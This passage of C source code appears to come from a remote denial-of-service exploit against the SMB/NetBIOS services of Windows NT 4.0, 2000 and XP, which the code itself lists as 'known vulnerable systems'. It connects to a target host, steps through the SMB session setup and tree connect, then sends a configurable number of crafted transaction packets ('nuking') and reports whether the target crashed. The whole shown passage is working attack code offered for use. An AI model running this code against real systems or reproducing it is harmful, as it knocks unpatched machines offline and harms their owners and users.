argv[0]); printf (" -N [netbios-name] Netbios Name (default: ask the remote host)\n"); printf (" -n [packets] Number of crafted packets to send (default: %d)\n", packets); printf (" -p [netbios-ns port] UDP Port to query (default: %d)\n", netbios_ns_port); printf (" -P [netbios-ssn port] TCP Port to query (default: %d)\n", netbios_ssn_port); printf (" -t [udp-timeout] Timeout to wait for receive on UDP ports (default: %d)\n", udp_timeout); printf (" -T [tcp-timeout] Timeout to wait for receive on TCP ports (default: %d\n", tcp_timeout); printf ("\n"); printf ("Known vulnerable systems: \n"); printf (" - Windows NT 4.0 Workstation/Server\n"); printf (" - Windows 2000 Professional/Advanced Server\n"); printf (" - Windows XP Professional/Home edition\n\n"); exit (1); } if (!name && (name = list_netbios_names (buffer, sizeof (buffer), hostname, netbios_ns_port, udp_timeout)) == NULL) exit (1); else name = extract_name (name); printf ("Using netbios name: %s\n", name); printf ("Connecting to remote host (%s:%d)...\n", hostname, netbios_ssn_port); fd = tcp_connect (hostname, netbios_ssn_port); if (fd == -1) exit (1); FD_ZERO (&rfds); FD_SET (fd, &rfds); tv.tv_sec = tcp_timeout; tv.tv_usec = 0; state = STATE_REQUESTING_SESSION_SETUP; request_session_setup (fd, name); for (;;) { if (!select (fd + 1, &rfds, NULL, NULL, &tv)) { if (state == STATE_REQUESTING_TRANSACTION) { fprintf (stderr, "Timeout during TCP read - Seems like the remote host has crashed\n"); return 0; } else { fprintf (stderr, "Nuke failed (tcp timeout) at state %#02x, exiting...\n", state); return 1; } } r = read (fd, buffer, sizeof (buffer)); if (r == 0) { printf ("Nuke failed at state %#02x (EOF, wrong netbios name ?), exiting...\n", state); exit (1); } if (((smb_header *) (buffer + 4))->error_class != 0) { fprintf (stderr, "Nuke failed at state %#02x, exiting...\n", state); exit (1); } switch (state) { case STATE_REQUESTING_SESSION_SETUP: printf ("Negotiating protocol...\n"); negotiate_protocol (buffer, fd); break; case STATE_NEGOTIATING_PROTOCOL: printf ("Requesting session setup (AndX)\n"); request_session_setup_andx (buffer, fd); break; case STATE_REQUESTING_SESSION_SETUP_ANDX: printf ("Requesting tree connect (AndX)\n"); request_tree_connect_andx (buffer, fd, name); break; case STATE_REQUESTING_TREE_CONNECT_ANDX: for (i = 0; i < packets; i++) { printf ("Requesting transaction (nuking) #%d\n", i + 1); request_transaction (buffer, fd); } printf ("Wait...\n"); break; default: printf ("Seems like the nuke failed :/ (patched ?)\n"); exit (1); } state++; } return 0; }